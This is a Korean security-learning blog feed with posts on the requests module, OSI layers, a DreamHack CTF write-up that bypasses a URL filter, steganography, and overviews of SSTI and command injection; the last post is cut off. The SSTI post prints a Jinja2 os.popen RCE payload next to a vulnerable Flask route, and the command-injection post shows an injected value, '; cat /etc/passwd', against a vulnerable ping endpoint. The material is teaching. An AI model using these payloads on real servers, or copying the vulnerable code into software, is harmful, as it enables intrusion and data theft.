코딩사과의 짭 코딩 파인애플입니다
이번 시간에는 requests 모듈에 관해 알아보겠습니다.</p>
<h1 id="import-requests">Import requests</h1>
<p><strong>requests</strong>는 파이썬에서 웹 서버와 통신하기 위해 사용하는 외부 라이브러리입니다.</p>
<p>인터넷에서 웹사이트를 방문 및 *<em>API를 호출, 파일을 다운로드하는 등 *</em>대부분의 웹 통신 작업을 requests 라이브러리로 수행할 수 있습니다.</p>
<p>예컨데 저희가 브라우저(Chrome, Edge 등)에서 <code>https://example.com</code>을 입력하면 브라우저가 해당 웹사이트에 접속하여 페이지를 받아옵니다</p>
<p>requests는 이 과정을 파이썬 코드로 대신 수행해 주는 라이브러리입니다</p>
<p align="center">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS-425ttFl8QGJUWzs5Ba_qxafhD_QeG1mnHC6cYMMt2g&s=10" width=30%></p>

<h2 id="requests-설치">Requests 설치</h2>
<p>requests문을 설치하려면 다음과 같은 과정을 거쳐야합니다.</p>
<p>CMD 또는 터미널에서</p>
<pre><code>pip install requests</code></pre><p>또는</p>
<pre><code>python -m pip install requests</code></pre><p>명령어를 통해 깔아주고 설치가 완료되었다면</p>
<pre><code>import requests 
print(requests.__version__)</code></pre><p>을 통해 버전 정보가 나오면 성공입니다.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/24774732-5fc6-4689-b10f-4adf9b471bb7/image.png" alt=""></p>
<p align="center">
<img src="
https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQneSyfGr4xXmrZzcGm3aKrlBgGdqCqiN_2oRvtT_X-xg&s=10" width=20%>
  </p>

<h3 id="get-요청">GET 요청</h3>
<p>가장 흔히 사용되는 기능입니다</p>
<p>웹 사이트에 데이터를 가져오는 명령입니다.</p>
<blockquote>
<p><strong>GET</strong>은 주로 웹 통신(HTTP)에서 서버의 데이터를 조회하거나 가져올 때 사용하는 요청 방식을 의미합니다
  저희가 웹이나 이미지를 불러오는 것 또한 GET요청에 해당합니다.</p>
</blockquote>
<pre><code>import requests 

response = requests.get(&quot;https://example.com&quot;)

print(response.status_code)

print(response.text)

print(response.json())

response : 변수명 (아무거나 상관없음)
requests.get() : GET 요청을 보낸다.
&quot;https://...&quot; : 접속할 주소
.status_code : 서버가 요청을 처리한 결과를 숫자로 알려주는 속성
.text : 해당 웹의 HTML 코드가 출력
.json()은 JSON 데이터를 파이썬의 딕셔너리나 리스트 형태로 변환해 줍니다 (API에서 자주 사용)</code></pre><p><strong>.status_code</strong>에서 출력 예시로 200이 나왔다 하면 200은 <strong>&quot;성공&quot;</strong>을 의미하는 상태코드입니다</p>
<p>대표적인 상태 코드는 다음과 같습니다.</p>
<pre><code>200    성공
201    생성 성공
301    영구 이동
302    임시 이동
400    잘못된 요청
401    인증 필요
403    접근 금지
404    페이지 없음
500    서버 오류</code></pre><ul>
<li>웹사이트가 응답하지 않을 경우를 대비하여 </li>
</ul>
<pre><code>response = requests.get( 
    &quot;https://example.com&quot;, 
    timeout=5 
)</code></pre><p>의 timeout=N 을 통해 N만큼의 시간이 흐르면 오류가 발생하게 만들 수 있습니다.</p>
<h3 id="post-요청">POST 요청</h3>
<p><strong>POST</strong>는 서버에 데이터를 전송할 때 사용합니다</p>
<p>예를 들어 로그인, 회원가입, 게시글 작성 등이 POST 요청입니다</p>
<blockquote>
<p><strong>POST</strong>는 서버의 데이터를 생성/수정할 때 사용합니다
데이터를 HTTP 본문(Body)에 숨겨 대용량 전송이 가능합니다.</p>
</blockquote>
<pre><code>import requests 

data = {
    &quot;username&quot;: &quot;user1&quot;,
    &quot;password&quot;: &quot;1234&quot;
}

response = requests.post(&quot;https://example.com&quot;, data=data)

print(response.status_code)

data : 딕셔너리입니다 여기에는 서버로 보낼 데이터를 저장합니다.
data=data : &quot;data라는 매개변수 안에 data값 (위 딕셔너리)를 넣어라&quot; 라는 의미.
requests.post() : post 요청을 보낸다.
username은 user1이며 password은 1234로 보내는 명령입니다.</code></pre><p><br><br><br>다음에는 해당 모듈을 활용한 브루트포싱을 이용해 플래그를 얻는 워게임을 실습해보겠습니다</p>
<p><a href="https://dreamhack.io/wargame/challenges/931">https://dreamhack.io/wargame/challenges/931</a></p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p align="center">
<img src="https://velog.velcdn.com/images/coding_pineapple/post/5462ddb5-0233-4a35-915e-c9e90fb2774c/image.jpg" width=70%></p>


]]></description>
        </item>
        <item>
            <title><![CDATA[OSI 7계층]]></title>
            <link>https://velog.io/@coding_pineapple/OSI-7%EA%B3%84%EC%B8%B5</link>
            <guid>https://velog.io/@coding_pineapple/OSI-7%EA%B3%84%EC%B8%B5</guid>
            <pubDate>Sat, 27 Jun 2026 01:57:19 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번 시간에는 OSI 7계층에 관해 알아보겠습니다.</p>
<h1 id="osi-7계층">OSI 7계층</h1>
<p>OSI(Open System Interconnection)은 다른 시스템 간에 원활한 통신을 위해 ISO(국제표준화기구)에서 제안한 통신 규약(Protocol)입니다.</p>
<p align="center">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTWZEKNQMeFps3x929Oh7XyD9KNk-oXLIxHfih3TTmjNA&s=10" width=60%>
</p>

<p><del>(OSI 7계층이 없는 인터넷)</del></p>
<p>계층은 상위(7층)에서 하위(1층)로 순서대로 나열되며, 송신 시 7층에서 1층으로 데이터가 내려가고(캡슐화), 수신 시 1층에서 7층으로 올라가며 처리가 됩니다.</p>
<blockquote>
<p>캡슐화란? 데이터를 송신할 때 상위 계층의 데이터에 해당 계층의 목적에 맞는 제어 정보(헤더, 트레일러)를 덧붙여 하위 계층으로 내려보내는 과정을 의미한다. 
(역캡슐화는 캡슐화의 반대 개념.)</p>
</blockquote>
<p>-하위 : 물리 계층 - 데이터 링크 계층 - 네트워크 계층 - 전송 계층
-상위 : 세션 계층 - 표현 계층 - 응용 </p>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/e364c172-af6a-43d1-a074-95d3d10efe1b/image.png">
(물 데 네 전 셰 표 응)


<h2 id="하위-계층">하위 계층</h2>
<p>하위 계층은 송수신자 간의 실제 네트워크 연결을 구성하고 데이터를 안정적으로 전송하는 역할을 합니다.</p>
<h3 id="물리-계층-physical-layer">물리 계층 (Physical Layer)</h3>
<p>물리 계층은 전송에 필요한 두 장치 간의 실제 접속같은 전기 신호(0이나 1같은)를 전달하고 전달받는 물리적인 연결과 관련된 정보를 정의합니다.</p>
<p>데이터 단위 (PDU) : Bit (비트)</p>
<p>관련 장비 : 허브, 리피터, 케이블</p>
<p align="center">
  <img src="https://velog.velcdn.com/images/coding_pineapple/post/417a73bb-937a-4508-a1d4-c4c943cf614b/image.png">


  </p>
물리 계층 (물리)

<h3 id="데이터-링크-계층-data-link-layer">데이터 링크 계층 (Data Link Layer)</h3>
<p>인접한 네트워크 기기들 간에 신뢰성 있고 안정적인 데이터 전송을 돕는 역할을 합니다.</p>
<p>뭐, 데이터 &#39;링크&#39;니까 인접한 기기들의 신뢰, 안정적인 전송을 돕는거라고 생각하시면 됩니다.</p>
<p>데이터 단위 (PDU) : Frame (프레임)</p>
<p>관련 장비 : 스위치, 랜카드, MAC 주소</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/9b4ebc25-bc2d-41b5-9994-60ad3a97a2d6/image.png" alt=""></p>
<h3 id="네트워크-계층-network-layer-망-계층">네트워크 계층 (Network Layer, 망 계층)</h3>
<p>네트워크 계층은 발신지에서 목적지까지 데이터를 가장 안전하고 빠르게 전달하는 라우팅(Routing)과 IP주소 지정을 담당하는 계층입니다</p>
<p>&#39;네트워크&#39;는 안전하고 빠르니까 라우팅 역할을 하는 거라고 외우면 됩니다.</p>
<p>데이터 단위 (PDU) : Packet (패킷)</p>
<p>관련 장비 : 라우터, IP
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRMfzwfD50q37LEjdLqHrcRXH6HFGxe1Ex6Q-wKdHzuTaRi8tRF1Y5eMvpX&s=10" width=50%></p>
<h3 id="전송-계층-transport-layer">전송 계층 (Transport Layer)</h3>
<p>전송 계층은 최종 시스템 및 호스트 간의 데이터 전송 조율을 담당합니다 <del>(조율자)</del> 네트워크 계층이 정상적으로 잘 보내지는지 확인을 하는 역할입니다</p>
<p>데이터 단위 (PDU) : Segment (세그먼트)</p>
<p>관련 장비 : TCP, UDP</p>
<p align="center">
<img src="https://novelpia.com/imagebox/cover/bd32cef83b2c54a34e029b559e95dd30_142936_ori.file" width=30%></p>

<h2 id="상위-계층">상위 계층</h2>
<p>상위 계층은 사용자와 소프트웨어가 네트워크에 접근할 수 있도록 돕는 역할을 합니다.</p>
<p>(PDU는 항상 &#39;데이터&#39;)</p>
<h3 id="세션-계층-session-layer-썩션">세션 계층 (Session Layer) <del>(썩션)</del></h3>
<p>세션 계층은 <strong>통신 세션을 설정하고 유지</strong>하며, <strong>데이터 교환을 관리</strong>해주는 역할을 수행합니다</p>
<p>세션의 <strong>시작, 종료, 동기화</strong> 등을 처리하여 통신 세션을 안정적으로 관리합니다</p>
<p>또한 오류 복구 기능까지 지원해줍니다</p>
<p>데이터 단위 (PDU) : 데이터</p>
<p>관련 장비 : API, Socket, 동기화</p>
<h3 id="표현-계층-presentation-layer">표현 계층 (Presentation Layer)</h3>
<p>응용 계층으로부터 받은 데이터를 세션 계층에 보내기 전 적당한 형태 앹로 변환하고, </p>
<p>세션 계층에 받은 데이터는 응용 계층에 맞게 변환하는 기능을 합니다.
<del>(응용/세션 발사대)</del></p>
<p>데이터 단위 (PDU) : 데이터</p>
<p>관련 장비 : JPEG, MPEG, 암호화</p>
<h3 id="응용-계층-application-layer">응용 계층 (Application Layer)</h3>
<p>응용 계층(Application Layer)은 사용자가 OSI 환경에 접근할 수 있도록 서비스를 제공해주는 역할을 합니다.</p>
<p>웹 브라우저가 이 계층에 해당합니다. (크롬, 파.폭., 토르 등)
데이터 단위 (PDU) : 데이터</p>
<p>관련 장비 : HTTP, FTP, 이메일</p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/a9ac67d7-de74-409e-a31e-d915aaa4c885/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] Chess.com 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-Chess.com-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-Chess.com-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 23 Jun 2026 02:50:32 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번에는 Chess.com에 관해 풀어보겠습니다.</p>
<h1 id="chesscom">Chess.com</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2901">https://dreamhack.io/wargame/challenges/2901</a></p>
<p><a href="https://www.chess.com">Chess.com</a>입니다 정말 유명한 체스 사이트죠
<img src="https://velog.velcdn.com/images/coding_pineapple/post/079ba30d-3b76-4309-843e-eda879c6e79b/image.png" alt=""></p>
<pre><code>import requests
from urllib.parse import urlparse
from difflib import SequenceMatcher
# 여기부터
def is_valid_attempt(url): # School Firewall
    if not url.isascii():
        return False
    if any(char.isupper() for char in url):
        return False
    if &#39;%&#39; in url:
        return False
    if not url.startswith(&quot;https://&quot;):
        return False
    if &quot;school&quot; not in url.lower(): # Our school only allows domains about school.
        return False
    parsed = urlparse(url)
    domain = parsed.netloc
    if not domain.endswith(&#39;.com&#39;) or domain.split(&#39;.&#39;)[-1] != &#39;com&#39;:
        return False
    if &#39;school&#39; not in domain:
        return False
    if parsed.username or parsed.password or &quot;@&quot; in url:
        return False
    if parsed.query:
        return False

    return True
# 여기까지가 중요함.

def get_html(url):
    headers = {
        &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36&#39;
    }
    try:
        response = requests.get(url, headers=headers, timeout=10)
        response.raise_for_status()
        return response.text
    except Exception as e: # Please wait if chess.com is offline.
        print(f&quot;Error fetching {url}: {e}&quot;)
        return None

def compare_sites(original_url, target_url):
    original_html = get_html(original_url)
    target_html = get_html(target_url)

    if not original_html or not target_html:
        return

    normalized_target_html = target_html.replace(target_url.replace(&quot;https://&quot;, &quot;&quot;), original_url.replace(&quot;https://&quot;, &quot;&quot;))

    similarity = SequenceMatcher(None, original_html, normalized_target_html).ratio()

    if similarity &gt; 0.98:
        print(&#39;Thank you! Now I can play chess.com in school!&#39;)
        with open(&#39;flag.txt&#39;) as f:
            flag=f.read()
            print(&#39;Flag is &#39;+flag)
    else:
        print(&quot;No! This is not a chess.com!&quot;)

print(&#39;I want to play chess.com at school!&#39;)
target = &quot;https://www.chess.com&quot; # I want to access at this site!
attempt = input(&#39;Input the address : &#39;).strip()

if is_valid_attempt(attempt):
    print(&#39;Accessing to chess.com...&#39;)
    compare_sites(target, attempt)
else:
    print(&quot;Blocked by school WAF.&quot;)</code></pre><p>일단 저는 윈도우 WSL을 통해서 nc host3.dreamhack.games 명령어로 들어가봤습니다</p>
<p>I want to play chess.com at school!
Input the address : potassium
Blocked by school WAF.</p>
<p>이렇게 다음과 같이 위 코드의 <strong>전제 조건을 하나라도 불만족 했다면</strong>
&quot;Blocked by school WAF.&quot; 이 나오는 것을 알 수 있습니다.</p>
<p>따라서 저희는 위 코드에서 만족하는 전제 조건을 전부 분석해서 어떠한 수단을 동원해서라도 Chess.com에 들어가야합니다.</p>
<pre><code>def is_valid_attempt(url): # School Firewall
    if not url.isascii(): return False
    # url에 아스키 문자 X
    if any(char.isupper() for char in url): return False
    # url에 대문자 X
    if &#39;%&#39; in url: return False
    # url에 &#39;%&#39; 포함 X
    if not url.startswith(&quot;https://&quot;): return False
    # 시작이 &#39;https://&#39;이여야함
    if &#39;school&#39; not in url.lower(): return False
    parsed = urlparse(url)
    domain = parsed.netloc
    # &#39;도메인&#39; 안에 &#39;school&#39;이 포함되어야함. (#을 통한 우회 X)
    if not domain.endswith(&#39;.com&#39;) or domain.split(&#39;.&#39;)[-1] != &#39;com&#39;: return False
    # url 끝은 반드시 .com 이여야함. (#을 통한 우회 X)
    if &#39;school&#39; not in domain: return False
    # &#39;school&#39;이 반드시 포함되어야함.
    if parsed.username or parsed.password or &quot;@&quot; in url: return False
    # URL 내에 인증 정보(username 또는 password)가 포함된 경우 or URL 문자열 자체에 &#39;@&#39; 기호가 포함된 경우 X
    if parsed.query: return False
    # 쿼리 스트링(query)이 존재하는 경우 X
    return True #참끼얏호우</code></pre><p>이렇게 다음과 같은 조건을 만족해야합니다</p>
<p>그래서 처음엔 별의 별 것들을 다 넣어봤는데 안되었고 
<a href="https://chesschool.com/lander">chesschool.com</a> 이라는 도메인이 아직 팔리고 있다는 사실만 알아냈습니다 (2026-06-23일 기준) (?)<img src="https://velog.velcdn.com/images/coding_pineapple/post/9d97c4e1-bff2-4d2c-bf03-3979de3347b9/image.png" alt=""></p>
<p>아무톤톤간에</p>
<p>이 문제를 풀기 위해서는 chess.com의  <strong>CNAME</strong>을 알아야합니다</p>
<blockquote>
<p>CNAME(Canonical NAME)은 &#39;실제 본명(도메인)&#39;에 닉네임(별칭)을 붙여주는 DNS 레코드 종류 중 하나, &#39;도메인 별칭&#39;이라고도 불린다.</p>
</blockquote>
<p>chess.com은 어째서인지 다음과 같은 CNAME을 보유하고 있습니다</p>
<pre><code>https://schoolschoolschool.com #학교학교학교.com
https://pleasedontblockchess.com #제발체스막지마셈.com
https://superhardalgebraproblems.com #매우어려운대수문제들.com (?)
https://justdoinghomework.com #걍숙제중.com
https://schoolnetworkadminsarethebest.com #학교인터넷관리자짱임.com (?)
https://plansformyfuture.com #이따할꺼.com
https://c4355.com #c4355.com
https://chezz.xyz #체즈.com
https://www.chesskid.com #체스꼬마.com</code></pre><p>따라서 다음과 같은 도메인들을 방문해도 <strong>모두 Chess.com으로 연결되기에</strong> 위 조건을 모두 만족하는 도메인을 넣으면 됩니다
I want to play chess.com at school!
Input the address : 。。。
Accessing to chess.com...
Thank you! Now I can play chess.com in school!
Flag is DH{ｓｅｃｒｅｔ}</p>
<p>평가 : (여러모로) 재밌는 문제.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/cb9afbaf-877c-45c1-bff3-168fd345b75a/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SERVER SIDE TEMPLATE INJECTION 개요]]></title>
            <link>https://velog.io/@coding_pineapple/SERVER-SIDE-TEMPLATE-INJECTION-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/SERVER-SIDE-TEMPLATE-INJECTION-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Fri, 19 Jun 2026 06:34:26 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번 시간에는 SERVER SIDE TEMPLATE INJECTION에 관해 알아보겠습니다.</p>
<h2 id="server-side-template-injection이란">SERVER SIDE TEMPLATE INJECTION이란?</h2>
<p>서버 사이드 템플릿 인젝션은 웹 애플리케이션에서 발생하는 매우 위험한 취약점 중 하나입니다</p>
<p>SSTI는 단순한 데이터 유출을 넘어 서버 전체를 장악할 수 있는 RCE(Remote Code Execution, 원격 코드 실행)로 이어지는 경우가 많아 매우 치명적입니다<img src="https://velog.velcdn.com/images/coding_pineapple/post/5a957025-f3da-4c7b-8707-41503425f982/image.png" alt=""></p>
<p>공격자가 서버의 템플릿 엔진에 악성 입력값을 주입하여, 서버가 이를 단순한 텍스트가 아니라 실행 가능한 코드로 인식하게 만드는 공격입니다</p>
<blockquote>
<p><strong>템플릿 엔진</strong>은 지정된 템플릿 양식과 데이터를 결합하여 HTML 문서를 출력하는 SW를 의미합니다.</p>
</blockquote>
<p>정상적인 구조라면 개발자가 작성한 템플릿 틀 안에 사용자의 데이터가 삽입되어야 되는데 사용자가 입력한 값을 검증하지 않고 템플릿 문자열 자체로 처리할 때 취약점이 발생합니다.</p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/615c0dac-6c0c-465a-987e-631290f20a4a/image.png" alt=""><p align="center">(<del>개발자 말 좀 들어라.png</del>)</p></p>
<p>템플릿 엔진에 따라 코드가 다른데 Python Jinja2를 기준으로 설명할 것이니 참고하시길 바랍니다</p>
<pre><code>@app.route(&#39;/render&#39;, methods=[&#39;POST&#39;])
def vulnerable_render():

    template_input = request.form.get(&#39;template&#39;, &#39;&#39;)
    result = render_template_string(template_input)

    return f&#39;&#39;&#39;
    &lt;h2&gt;렌더링 결과:&lt;/h2&gt;
    &lt;pre&gt;{result}&lt;/pre&gt;
    &lt;a href=&quot;/&quot;&gt;돌아가기&lt;/a&gt;
    &#39;&#39;&#39;
</code></pre><p>위 코드의 경우에도 사용자 입력(template_input)을 검증 없이 받음과 동시에 render_template_string()으로 동적 템플릿 생성합니다</p>
<p>그러므로 공격자가 Jinja2 표현식을 삽입할 수 있는 취약점이 존재합니다</p>
<p>jinja2는 기본적으로 &quot;{{ 내용물 }}&quot; 의 기본 식별자를 사용하기 떄문에 공격자는 {{ 내용물 }}을 통해 기본적인 공격을 할 수 있습니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/fda4b14a-7139-4c20-80c7-1789631e5b4d/image.png" alt=""></p>
<p align="center"><img src="https://i8.cloudfable.net/styles/550x550/8.51/Black/classic-67-meme-love-six-seven-t-shirt-20250922042019-5ewbyrp1-s4.jpg" width=10% ></p>
다음과 같이 기본적인 67산수를 통해서도 서버가 실행해 SSTI가 가능한 취약점임을 알 수 있습니다

<pre><code>{{self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;etc&#39;).read()}}</code></pre><p>위 코드는 ssti 공격을 할 때 사용되는 os.popen()을 이용한 페이로드입니다 하나하나 뜯어봅시다.</p>
<p><strong>self</strong> : 현재 템플릿 컨텍스트 객체
.<strong>init</strong> : 생성자 메서드 (초기화 함수) 해당 함수로 그 모듈의 전역 변수들에 접근할 수 있습니다.
.<strong>globals</strong> : 함수가 정의된 모듈의 전역 네임스페이스 (전역 변수 저장소)
.<strong>builtins</strong> : Python 내장 함수 모음 모듈, 앞으로 사용할 공격 함수들이 내장되어 있습니다
.<strong>import</strong>(&#39;os&#39;) : 동적으로 모듈을 import하는 함수 (import os와 같은 의미)
<strong>.popen(&#39;리눅스 명령어&#39;) *<em>: 시스템 명령을 실행하는 함수 Linux명령어를 실행
*</em>read()</strong> : 파일이나 스트림의 내용을 문자열로 읽는 함수</p>
<p>그 외에도 popen() 을 이용할 것 말고도 subproces()이나 eval()도 있지만 다음에 설명하겠습니다.</p>
<p>한번 배웠던 내용을 실습해봅시다
<a href="https://dreamhack.io/wargame/challenges/39">https://dreamhack.io/wargame/challenges/39</a></p>
<p>이상으로 글을 마치겠습니다 감사합니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/8419dc9c-9452-469c-bf43-5690138a0159/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[STEGANOGRAPHY 개요]]></title>
            <link>https://velog.io/@coding_pineapple/STEGANOGRAPHY-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/STEGANOGRAPHY-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Wed, 17 Jun 2026 06:18:27 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 STEGANOGRAPHY에 관해 알아보겠습니다.</p>
<h2 id="steganography이란❓❓❓">STEGANOGRAPHY이란❓❓❓</h2>
<p>스테가노그래피는 넓게 잡아서 &quot;비밀 메시지를 다른 일반적인 파일이나 데이터 안에 감쪽같이 숨기는 기술&quot; 을 의미합니다 </p>
<p>&#39;감추어져 있다&#39;는 뜻의 <strong>steganos</strong>와 &#39;글을 쓰다&#39;라는 뜻의 <strong>graphein</strong>이 합쳐진 말인데, 무언가를 암호화해서 알아보기 힘들게 만드는 걸 넘어 &quot;<strong>여기에 비밀 정보가 있다는 사실 자체를 숨기는 것</strong>&quot;이 핵심입니다.<img src="https://down.humoruniv.com//hwiparambbs/data/editor/pdswait/e_sc497e3006_9260f1f617ce98f8cdf753c0bcdeffb0cc8db01d.jpg">일반 암호학과 달리 주로 오디오나 이미지 등에 끼워넣어 암호문임을 알아채지 못하는 것이 차이입니다.</p>
<p>꼬운 놈 몇 개 골라보자면 공백(&#39; &#39;)와 탭(&#39;\t&#39;)을 이용해 이진코드를 만드는 <strong>화이트 스페이스 스테가노그래피</strong>나 혹은 <strong>이미지 스테가노그래피, 오디오 스테가노그래피</strong> 등이 존재하지만 그 중 이미지 스테가노그래피를 다뤄보겠습니다. (나머지는 언젠가?)</p>
<h2 id="📸image-steganography📸">📸IMAGE STEGANOGRAPHY📸</h2>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/c6d7f65e-1a44-41cc-b5e1-696e8c92e6dc/image.png" alt=""></p>
<p>여러분 이 이미지의 등장인물이 누군지 아십니까?</p>
<p>예...제 여친입니다.</p>
<p>하지만 제 여친 사진에 비밀이 하나 있습니다</p>
<p>비밀을 이미지 스테가노그래피를 통해 숨겼는데</p>
<p>이미지 스테가노그래피는 이미지의 확장자에 소스삼아 정보를 숨기는 기법입니다</p>
<h3 id="signature-code👀">SIGNATURE CODE👀</h3>
<p>그 전에 시그니처 코드를 알아봅시다
<strong>시그니처 코드</strong>는 파일마다 가지고 있는 고유한 식별 데이터입니다. </p>
<p><span style="color: #ff0000">M</span><span style="color: #ff8c00">a</span><span style="color: #ffff00">G</span><span style="color: #008000">1</span></span><span style="color: #0067a3">c</span>라고도 부르며, 확장자가 다르게 조작되었거나 손상된 파일의 원본 포맷을 확인할 때 사용됩니다
<img src="https://velog.velcdn.com/images/coding_pineapple/post/aed58e29-206f-4a6b-8a85-f7855f063f6c/image.png" alt="">이런 식인데 사용한 툴은 <a href="https://forliq.tistory.com/entry/%EB%94%94%EC%A7%80%ED%84%B8-%ED%8F%AC%EB%A0%8C%EC%8B%9D-HxDHex-Editor-and-Disk-Editor-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EC%82%AC%EC%9A%A9%EB%B2%95">링크</a>타고 가셔서 알아서 해보시길 바랍니다
워게임 할 때 정말 요긴하게 사용될 겁니다.</p>
<p>아무톤톤간에.
위 이미지는 제가 가지고 있는 아무개씨 파일을 Hxd라는 툴을 사용해 열어봤습니다</p>
<p>여기서는 파일의 시그니처 코드가 다 보이는데, 시그니처 코드는 각각 <strong>헤더 시그니처</strong>와 <strong>푸터 시그니처</strong>로 구분됩니다
OS는 이를 보고 확장자를 판단합니다</p>
<p><strong>헤더 시그니처</strong>는 확장자의 시작을 알리는 <strong>시1발</strong>점입니다 반대로
<strong>푸터 시그니처</strong>는 확장자의 끝을 알리는 <strong>종착점</strong>입니다.</p>
<table>
<thead>
<tr>
<th align="center"></th>
<th align="center">헤더 시그니처</th>
<th align="center">푸터 시그니처</th>
</tr>
</thead>
<tbody><tr>
<td align="center"><strong>.jpeg / jpg</strong> (이미지)</td>
<td align="center">FF D8 FF</td>
<td align="center">FF D9</td>
</tr>
<tr>
<td align="center"><strong>.png</strong> (이미지)</td>
<td align="center">89 50 4E 47 0D 0A 1A 0A</td>
<td align="center">49 45 4E 44 AE 42 60 82</td>
</tr>
<tr>
<td align="center">*<em>.gif *</em>(이미지)</td>
<td align="center">47 49 46 38 37 61 (37 혹은 39)</td>
<td align="center">00 3B</td>
</tr>
<tr>
<td align="center">*<em>.pdf *</em>(문서)</td>
<td align="center">25 50 44 46 (텍스트로 %PDF)</td>
<td align="center">25 25 45 4F 46 (텍스트로 %%EOF)</td>
</tr>
<tr>
<td align="center"><strong>.zip</strong> (압축 파일)</td>
<td align="center">50 4B 03 04 (텍스트로 PK..)</td>
<td align="center">50 4B 05 06 (텍스트로 PK..)</td>
</tr>
<tr>
<td align="center">위 이미지에서의 첫 시그니처 코드인 헤더 시그니처가 47 49 46 38 39 61임을 보아 확장자가 GIF 파일임을 알 수 있습니다.</td>
<td align="center"></td>
<td align="center"></td>
</tr>
</tbody></table>
<h2 id="📸image-steganography📸-1">📸IMAGE STEGANOGRAPHY📸</h2>
<p>다시 돌아와서 이미지 스테가노그래피는 이미지에 특정 시그니처 코드를 반복적으로 넣어 숨기는 게 대표적입니다</p>
<p>특히 숨겨진 이미지는 다른 이미지에 비해 좀 더 <strong>용량이 무거운</strong> 특징이 있습니다.
<img src="https://velog.velcdn.com/images/coding_pineapple/post/59beaad2-6593-4df8-ae67-9d026ee67017/image.png" alt=""></p>
<p><del>(숨겨진 게 많으면 많을수록 용량은 위 이미지처럼 무거워집니다.)</del></p>
<p>이를 찾기 위해서는 이미지의 시그니처를 잘 살펴봐야하는데 특히 푸터 시그니처 끝에 뭔가 더 있으며 특정 헤드 시그니처가 보이면 <strong>146.47%</strong>확률로 스테가노그래피입니다.</p>
<p>예를 들어 <img src="https://velog.velcdn.com/images/coding_pineapple/post/4d062bf5-57da-4f05-815d-ebb31567ac09/image.png" alt="">이미지의 경우 png의 푸터 시그니처 파일이 있음에도 그 밑에 50 4B 03 04와 PK...이 있음을 보아 png 이미지에 숨겨진 .zip파일임을 알 수 있습니다.</p>
<br>
뭐...이상으로 스테가노그래피 개요 + 이미지 스테가노그래피의 설명을 마치도록 하겠습니다 아마 다음에는...이미지 심화나 혹은 다른 스테가노그래피에 관해 다룰 것 같습니다

<p>이만 글을 마치겠습니다 감사합니다.
<img src="https://yt3.ggpht.com/JiX9oT1F4G_IvZRrnaIJDUg4_cI1-b9zZZJSCPxxituSvmRGt0HpgwZbPRl5e6ol0LGCy4VZDetENQc=s1006-c-fcrop64=1,00000e8cfffff173-rw-nd-v1" width=60%></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[COMMAND INJECTION 개요]]></title>
            <link>https://velog.io/@coding_pineapple/COMMAND-INJECTION-%EA%B0%9C%EC%9A%94</link>
            <guid>https://velog.io/@coding_pineapple/COMMAND-INJECTION-%EA%B0%9C%EC%9A%94</guid>
            <pubDate>Thu, 11 Jun 2026 16:52:15 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까
코딩사과의 짭 코딩 파인애플입니다
이번 시간에는 COMMAND INJECTION에 관해 알아보겠습니다.</p>
<h1 id="command-injection이란">COMMAND INJECTION이란?</h1>
<p>Command Injection (명령어를 주입하다) 은 해커가 웹사이트의 입력창에 운영체제(OS) 명령어를 주입하여 웹사이트 뒤에 있는 서버를 조작하고 무단으로 제어하는 대표적인 웹 해킹 기법을 말합니다</p>
<p>Command Injection은 명령어를 실행할 때 사용자가 임의의 인자를 전달할 수 있을 경우 발생됩니다</p>
<p>예를 들어 뭐 이딴 코드가 있다고 칩시다</p>
<pre><code>#간단한 ping하는 코드
from flask import Flask, request
import os

app = Flask(__name__)

@app.route(&#39;/ping&#39;)
def ping():
    target_ip = request.args.get(&#39;ip&#39;)

    command = f&quot;ping -c 1 {target_ip}&quot;
    response = os.popen(command).read()

    return f&quot;&lt;pre&gt;{response}&lt;/pre&gt;&quot;

if __name__ == &#39;__main__&#39;:
    app.run(port=5000)</code></pre><p>만일 정상적인 사용자가 사용한다면 간단히 ip주소를 입력하겠지만은
해커는 메타문자를 이용해 임의의 코드를 넣어 해킹을 합니다</p>
<pre><code>8.8.8.8; cat /etc/passwd</code></pre><p>이 경우 메타문자를 이용하여 바로 뒤의 코드까지 실행해 패스워드를 읽습니다</p>
<div style="text-align: center;">
